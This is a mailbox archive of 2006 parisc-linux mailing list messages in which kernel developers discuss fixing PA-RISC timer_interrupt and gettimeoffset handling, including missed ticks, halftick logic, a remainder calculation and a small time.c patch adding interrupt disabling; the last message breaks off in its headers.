Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D67C37D8D6;
	Sun,  3 Sep 2006 13:38:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29130-04; Sun, 3 Sep 2006 13:38:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36FAD7D8D7;
	Sun,  3 Sep 2006 13:38:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F0C57D8D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 13:38:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29130-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 13:38:08 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E1C797D8CE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 13:38:08 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 48EB83680E6;
	Sun,  3 Sep 2006 13:38:08 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20987-01; Sun, 3 Sep 2006 13:38:06 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C15AC3680DB; Sun,  3 Sep 2006 13:38:06 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1157212326.4041.26.camel@mulgrave.il.steeleye.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YmmdLjkOaHI+XKWnKSUlv2lqamdhZMQc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23954

On Sat, Sep 02, 2006 at 10:52:06AM -0500, James Bottomley wrote:
> The first problem is that interrupts are re-entrant, so the timer
> interrupt can get re-interrupted.

Doesn't this violate one of the basic tenants of linux interrupts?

I know the interrupt handler (same instance) can't be invoked on
two different CPUs and it seems re-entrance would be a similar
case.

>      1. On SMP, cr16 of the secondary processors (and next_tick) is
>         never initialised ... we just wait for the timer to wrap and
>         then pick up ticking from there.

I saw that too and happen to have committed the fix for it last night.

>      2. processor_probe() blows away all of the next_tick data when it's
>         called (once for every CPU)

Fixed that too :)

>      3. We're regularly missing multiple ticks ... mainly below about
>         30 .. there must be some cause for this but I can't immediately
>         find it.

Ok. I'm not sure how to look for that either.

>      4. we don't obey CONFIG_HZ at all the clock is always either 1000
>         for pa2.0 or 100 for pa1.0

Also committed a fix for that.

> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c

Is it ok if I only add the irqsave/restore to my current patch?
I also like the "avoid div/mul ops" test too.

I'd like to defer discussion on halfticks for now.
I consider that an optimization we can defer for now.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 13:55:53 -0600
Lines: 127
Approved: news@gmane.org
Message-ID: <20060903195553.GC20217@colo.lackof.org>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
	<20060831065327.GG3999@colo.lackof.org>
	<119aab440608311152m28ef65f6ud3db46b12c59d3@mail.gmail.com>
	<20060831214650.GC16032@colo.lackof.org>
	<119aab440609030754t5e0f869bq10b5c10770f14105@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624173 20861 80.91.229.3 (22 Nov 2014 02:42:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:53 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 19:56:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 03 Sep 2006 21:56:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 940DF7D8E0;
	Sun,  3 Sep 2006 13:56:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29273-06; Sun, 3 Sep 2006 13:56:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDF817D8E1;
	Sun,  3 Sep 2006 13:55:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 470A47D8DF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 13:55:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29273-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 13:55:54 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id F25CA7D8D6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 13:55:53 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8CAF93680E6;
	Sun,  3 Sep 2006 13:55:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22165-01; Sun, 3 Sep 2006 13:55:53 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0B80B3680DB; Sun,  3 Sep 2006 13:55:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440609030754t5e0f869bq10b5c10770f14105@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MEKSKyNAMydyf4igZWpln3traGRhZlo4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23955

On Sun, Sep 03, 2006 at 10:54:18AM -0400, Carlos O'Donell wrote:
> >Yes. I'm now pretty sure the fix for that will be in gettimeoffset()
> >and not in timer_interrupt(). But I agree the two functions are very
> >similar but have to handle slightly different corner cases.
> 
> I still disagree, if you see James most recent patch which disabled
> IRQ's while we handle the timer interrupt, you will see that both
> functions are closer to being similar :)

I'm not sure about that. James might be wrong in this case.
See do_cpu_irq_mask().
It clears EIEM and thus disables all external interrupts
including the interval timer. The comment is wrong in that
we disable all EIEM bits, not just TIMER and IPI.

> I will assert that at the end of the day we will be writing
> "cr16_offset" which is a generic function that can be called with
> interrupts disabled and *that* will handle all the corner cases and be
> called by "timer_interrupt" and "gettimeoffset".

hrm ok. I'll keep that in mind. I'm not convinced of that
yet since those are both performance critical piecves of code.

...
> >Sorry - this didn't make sense. Can you provide an example?
> >For simplicity assume a 5 bit counter and pick the values
> >that illustrate your case.
> 
> 5 bit counter.
> it_value = 5
> cr16 = ... free running.
> clocktick = 5
> halftick = 2
> 
> a. Counter goes off at 8. Expected to go off at 5.

Itimer will interrupt at 5 if it was expect to go off at 5.
timer_interrupt() will never get invoked until 8 becuase of
interrupt handling overhead.

> b. Since (8 - 5) == 3 > 2 or a halftick, we push forward 2 ticks
> c. Set it_value to 15.

Ok. I really don't like the business with halftick pushing
system time "into the future".  Maybe we can just drop one tick
on the floor. Ie skip it and handle it on the next "full" tick?

> 1. User calls gettimeofday.
> 2. cr16 says time is 9
> 3. The it_value is 15, subtract a clocktick and you get 10.
> 
> *boom*
> 
> The value of cr16 is < the value of a rolled back clocktick.
> In counting the halftick, we need to rollback the halftick in gettimeoffset.

No. We need to just drop the next tick and not count it until
the next round.

> >Division is much more expensive than integer multiplication.
> >Is there a way to do the division once _and_ get the remainder?
> >
> >My assumption that integer multiplication is "cheaper"
> >could be wrong.
> 
> I timed this for some reasonable values of dividend and divisor.
> The division and modulo operation is ~156 cycles.
> The integer multiplication is ~73 cycles.
> This is the average cr16 tick over 1000 runs.
> The integer multiplication is "cheaper"

ok - many thanks for doing that.

...
> You say the following equations are correct:
> 
> ticks_elapsed = (now - next_tick) / clocktick;
> remainder = now - (ticks_elapsed * clocktick);
> 
> The ticks_elapsed equation *is* correct.
> 
> The remainder equation is wrong. The value of "now" could be 4GB, the
> value of "next_tick" could be "4GB - clocktick", the ticks_elapsed
> value is 1. This is correct. However, the remainder is going to be
> "4GB - 1 * clocktick" which is incorrect. The remainder in this case
> is zero.

> 
> To get the remainder you *must* do:
> 
> remainder = (now - next_tick) - (ticks_elapsed * clocktick)
> 
> This gives you the left over ticks you didn't count. I have added
> brackets here to clarify the math.

Yes - got it now. thanks again!

> I have come to the conclusion that adding the halftick is conceptually 
> wrong.
> 
> Follow me on this.
> 
> 1. By adding the halftick, as a real tick, the system time moves into
> the future.

I'm already convinced this is wrong and leads to too many complications.

> 2. A system with future time means we need negative gettimeoffset 
> adjustments.
> 3. Negative gettimeoffset adjustment complicate things needlessly.
> 4. Halfticks should not be counted, and should be ignored.
> 5. Ignoring halfticks is not a problem, when the late timer interrupt
> arrives we will accrue all full ticks anyway.
> 
> What do you think?

total agreement.
I'll rework my code later today to try to match the discussion so far.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 15:59:34 -0400 (EDT)
Lines: 73
Approved: news@gmane.org
Message-ID: <200609031959.k83JxYon019649@hiauly1.hia.nrc.ca>
References: <20060903193806.GB20217@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624173 20867 80.91.229.3 (22 Nov 2014 02:42:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:53 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 soete.joel@scarlet.be,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 19:59:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 03 Sep 2006 21:59:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD9867D8F4;
	Sun,  3 Sep 2006 13:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29587-07; Sun, 3 Sep 2006 13:59:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFC637D8ED;
	Sun,  3 Sep 2006 13:59:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 899867D8EA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 13:59:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29273-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 13:59:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 44B667D8E5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 13:59:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k83JxZqu019651;
	Sun, 3 Sep 2006 15:59:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k83JxYon019649;
	Sun, 3 Sep 2006 15:59:34 -0400 (EDT)
In-Reply-To: <20060903193806.GB20217@colo.lackof.org> from "Grant Grundler" at
	Sep 3, 2006 01:38:06 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fUGaIDoZa0AoXL6aejEz+SE3Njh6dI49
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23956

> Is it ok if I only add the irqsave/restore to my current patch?
> I also like the "avoid div/mul ops" test too.

I agree on that.  They are very expensive, especially in 64-bit code.

I'm playing with the patch below.  The main thing I tried to do is
reduce the amount of code in the irqsave/restore.  GCC didn't do a
great job of optimizing the code.  I think we would get better code
if clocktick and halftick were copied to temps before the irqsave.

I was also concerned about nticks not being unsigned long.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: time.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/time.c,v
retrieving revision 1.16
diff -u -p -u -r1.16 time.c
--- time.c	24 Jun 2006 16:05:18 -0000	1.16
+++ time.c	3 Sep 2006 19:42:24 -0000
@@ -47,29 +47,34 @@ irqreturn_t timer_interrupt(int irq, voi
 {
 	long now;
 	long next_tick;
-	int nticks;
+	unsigned long nticks = 0;
 	int cpu = smp_processor_id();
+	long flags;
 
 	profile_tick(CPU_PROFILING, regs);
 
-	now = mfctl(16);
-	/* initialize next_tick to time at last clocktick */
+	/* Initialize next_tick to time at last clocktick */
 	next_tick = cpu_data[cpu].it_value;
 
-	/* since time passes between the interrupt and the mfctl()
-	 * above, it is never true that last_tick + clocktick == now.  If we
-	 * never miss a clocktick, we could set next_tick = last_tick + clocktick
-	 * but maybe we'll miss ticks, hence the loop.
+	/* Since time passes between the interrupt and the mfctl(),
+	 * it is never true that last_tick + clocktick == now.
+	 * If we never miss a clocktick, we could set
+	 * next_tick = last_tick + clocktick, * but maybe we'll miss
+	 * ticks, hence the loop.
 	 *
 	 * Variables are *signed*.
 	 */
 
-	nticks = 0;
+	/* Don't want to be interrupted while calculating
+	 * the time for the next tick.  */
+	local_irq_save(flags);
+	now = mfctl(16);
 	while((next_tick - now) < halftick) {
 		next_tick += clocktick;
 		nticks++;
 	}
 	mtctl(next_tick, 16);
+	local_irq_restore(flags);
 	cpu_data[cpu].it_value = next_tick;
 
 	while (nticks--) {
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 03 Sep 2006 15:29:37 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1157315377.3486.18.camel@mulgrave.il.steeleye.com>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
	<20060831065327.GG3999@colo.lackof.org>
	<119aab440608311152m28ef65f6ud3db46b12c59d3@mail.gmail.com>
	<20060831214650.GC16032@colo.lackof.org>
	<119aab440609030754t5e0f869bq10b5c10770f14105@mail.gmail.com>
	<20060903195553.GC20217@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624173 20870 80.91.229.3 (22 Nov 2014 02:42:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:53 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 20:29:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 03 Sep 2006 22:29:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 253FF7D900;
	Sun,  3 Sep 2006 14:29:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30280-01; Sun, 3 Sep 2006 14:29:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 543567D8FB;
	Sun,  3 Sep 2006 14:29:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C99B7D8F8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 14:29:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29866-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 14:29:42 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 1C6E27D8F7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 14:29:42 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k83KTb522722; Sun, 3 Sep 2006 16:29:38 -0400
In-Reply-To: <20060903195553.GC20217@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UVaZEBVYbXBtTrqHPTQ2JhUqLyUmZchR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23957

On Sun, 2006-09-03 at 13:55 -0600, Grant Grundler wrote:
> I'm not sure about that. James might be wrong in this case.
> See do_cpu_irq_mask().
> It clears EIEM and thus disables all external interrupts
> including the interval timer. The comment is wrong in that
> we disable all EIEM bits, not just TIMER and IPI.

Yes ... I thought I fixed that the last time I pulled this code apart,
but apparently not.

I'll concentrate on fixing this, since I suspect it is the root cause of
the horrible interrupt latencies causing the ticks to back up.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 16:30:22 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <119aab440609031330i70b208cat9f347fe2ed6e8b52@mail.gmail.com>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
	<20060831065327.GG3999@colo.lackof.org>
	<119aab440608311152m28ef65f6ud3db46b12c59d3@mail.gmail.com>
	<20060831214650.GC16032@colo.lackof.org>
	<119aab440609030754t5e0f869bq10b5c10770f14105@mail.gmail.com>
	<20060903195553.GC20217@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624174 20872 80.91.229.3 (22 Nov 2014 02:42:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:54 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 20:30:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 03 Sep 2006 22:30:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C78D77D665;
	Sun,  3 Sep 2006 14:30:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30280-06; Sun, 3 Sep 2006 14:30:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B49D7D666;
	Sun,  3 Sep 2006 14:30:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95BBD7D65D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 14:30:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30280-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 14:30:23 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.238])
	by free.linux.hp.com (Postfix) with ESMTP id 5EEDD7D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 14:30:23 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id h31so2008577wxd
	for <parisc-linux@lists.parisc-linux.org>;
